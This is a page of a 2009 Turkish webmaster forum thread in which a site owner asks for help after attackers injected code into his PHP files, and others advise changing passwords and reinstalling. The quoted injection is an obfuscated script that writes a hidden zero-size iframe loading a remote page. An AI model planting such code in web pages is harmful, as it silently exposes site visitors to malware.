Bu Nasıl Saldırı? - Sayfa 2

05-04-2009, 06:16:53

#10

Üyeliği durduruldu

Merhaba ;

Bizde bir çok sitenin en altına buna benzer kodlar görüyoruz müşterilerimizin sitesinde.Çözümü kodu silip ftp sifrenizi değiştirmektir.Fakat o virüs pcye bulaşır girdiğiniz her ftpye atar kodunu onun için pcnizi formatlamanızı öneririm.

05-04-2009, 10:10:52

#11

~~ProTurkey~~

Üyeliği durduruldu

big_turk adlı üyeden alıntı: mesajı görüntüle

Arkadaşlar 3-5 emek haramisi siteme saldırı yapıyor ve index.php ve admin.php dosyalarının headerlerine attıkları kodlar bunlar.

type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0020\u0073\u0072\u0063\u003d\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u006d\u0075\u0073\u0069\u0063\u0032\u0034\u0073\u0068\u006f\u0070\u002e\u006e\u0065\u0074\u002f\u0032\u002f\u0069\u006e\u002e\u0070\u0068\u0070\u0027\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0027\u0030\u0027\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0027\u0030\u0027\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0027\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script><?php

Nasıl bir savunma yapmam lazım sitenin hangi açığından girmiş olabilirler?
Birde bu insanları mahkemeye vermek için nasıl bir yol izlemeliyim. Forumda bir çok arkadaş hakkını yasal yollardan aradı ve aldı neler yapabilirim

Sitenizde'ki Açıktan admin panelini bulup, db'niz ile bu işlemi gerçekleştiriyorlar.
en iyi çözüm ise, Sunucunuzda Gerekli Tüm Koruma yazılımlarını Kurmak, ve cPanel kullanıyor iseniz admin panelinizi *.php şekliden değil de, admin/ gibi klasör şeklinde yapıp, cPanel kontrol panelinizden, Admin klasörünüzü şifrelemenizdir.
Bu Şekilde Yaparsanız Admin panelizden dalmaları imkansızdır.

05-04-2009, 22:27:23

#12

Bebu

Sanırım panel ve ftp şifremizi değiştirmemiz yeterli oluyormuş dün değiştirdim bugun sorun çıkmadı, ayrıca fotmatıda attım rahatım. umarım birdaha karşılaşmayız

06-04-2009, 10:34:33

#13

Big_Turk

cevaplar için çok teşekkürler arkadaşlar.. Tam nedenini bulamasamda çözümünü bulduk. Karşılaşan diğer arkadaşlar için ben scriptin bütün dosyalarını temizleyip sıfırdan kurdum. ftp temizlenmiş oldu şimdilik te bir problem yok...